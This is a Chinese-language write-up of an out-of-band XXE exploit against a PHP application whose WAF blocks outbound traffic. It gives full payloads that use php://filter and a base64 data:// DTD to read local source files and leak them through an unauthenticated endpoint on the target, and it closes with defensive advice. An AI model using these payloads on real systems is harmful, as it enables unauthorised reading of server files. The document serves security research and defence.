挖洞经验 | 绕过WAF限制利用php:方法实现OOB-XXE漏洞利用
字数 1477 2025-08-18 11:38:56
绕过WAF限制利用php://方法实现OOB-XXE漏洞利用
1. 漏洞背景
XXE(XML External Entity)漏洞是一种常见的XML解析漏洞,攻击者可以利用外部实体来读取服务器上的敏感文件或执行服务器端请求伪造(SSRF)攻击。但在某些情况下,由于WAF(Web应用防火墙)的限制,传统的XXE利用方法可能无法成功。
本文介绍了一种在WAF阻挡所有出站请求(包括DNS解析)的情况下,如何利用php://filter协议实现OOB(Out-of-Band)XXE漏洞利用的技术。
2. 漏洞发现过程
2.1 初始发现
作者在测试目标应用时发现:
- 某个路径调用了名为
xml的参数 - XML数据在客户端被加密,但后端可能未进行充分验证
- JavaScript加密函数被WebPack打包,难以直接分析
2.2 绕过客户端加密
由于直接分析加密函数困难,作者采用以下方法:
- 在Chrome浏览器工具中设置断点
- 在XML数据发送到JavaScript加密函数前进行修改
- 注入外部实体构造XXE Payload
2.3 WAF限制的发现
初步测试发现:
- 使用外部实体时,应用响应"Error while parsing XML"
- 使用
http://localhost/作为外部实体时,应用能正常响应 - 尝试端口扫描和DNS解析请求都被WAF阻挡
这表明:
- XXE漏洞确实存在
- WAF阻挡了所有出站请求
- 但允许本地请求
3. 漏洞利用技术
3.1 利用本地端点
作者发现目标应用有一个端点:
http://target/endpoint.php?sid=[session_id]&key=xxe&val=test
特点:
- 不需要cookie验证
- 使用GET参数
- 将key和val保存到相应会话ID账户中
3.2 初步XXE Payload构造
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
验证结果:成功修改了会话数据,证明XXE漏洞可利用。
3.3 读取本地文件的挑战
要读取本地文件需要:
- 创建获取文件的参数实体
- 创建调用该参数实体的实体
- 通常需要外部DTD文件
但问题:
- WAF阻挡了对外部DTD文件的请求
- 目标应用没有文件上传功能
3.4 突破WAF限制的关键技术
利用PHP的php://filter协议和data://URI:
- 定义参数实体:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>
- 将上述实体base64编码后通过php://filter请求:
php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+
3.5 最终XXE Payload
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL0Q6L3BhdGgvaW5kZXgucGhwIj4NCjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly90YXJnZXQvZW5kcG9pbnQucGhwP3NpZD1bc2Vzc2lvbl9pZF0mIzM4O2tleT14eGUmIzM4O3ZhbD0lZGF0YTsiPic+">
%sp;
%param1;
]>
<paramlimits>
<component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>
4. 技术要点总结
-
php://filter协议利用:
- 使用
convert.base64-encode过滤器对文件内容进行编码 - 避免特殊字符导致解析问题
- 使用
-
data://URI的使用:
- 将DTD内容内联在请求中
- 绕过对外部DTD文件的依赖
-
本地端点利用:
- 找到不需要认证的端点作为数据回传通道
- 通过GET参数传递窃取的数据
-
编码技巧:
- 对实体定义进行base64编码
- 正确处理XML中的特殊字符(如&需要编码为&)
5. 防御建议
-
禁用外部实体:
libxml_disable_entity_loader(true); -
使用安全的XML解析器:
- 配置解析器不解析外部实体
-
WAF规则更新:
- 检测php://filter和data://协议的异常使用
- 监控异常的本地请求模式
-
输入验证:
- 对所有XML输入进行严格验证
- 在接收端解密后重新验证XML结构
-
最小权限原则:
- 限制PHP的文件系统访问权限
- 禁用不必要的PHP封装协议
6. 扩展思考
这种技术展示了即使在严格WAF限制下,攻击者仍可能找到迂回路径实现攻击。防御者需要:
- 采用深度防御策略
- 不仅依赖WAF,还要在应用层实现安全控制
- 定期进行安全审计和渗透测试
- 监控异常的内部请求模式
通过理解这种高级利用技术,安全人员可以更好地防御类似的复杂攻击。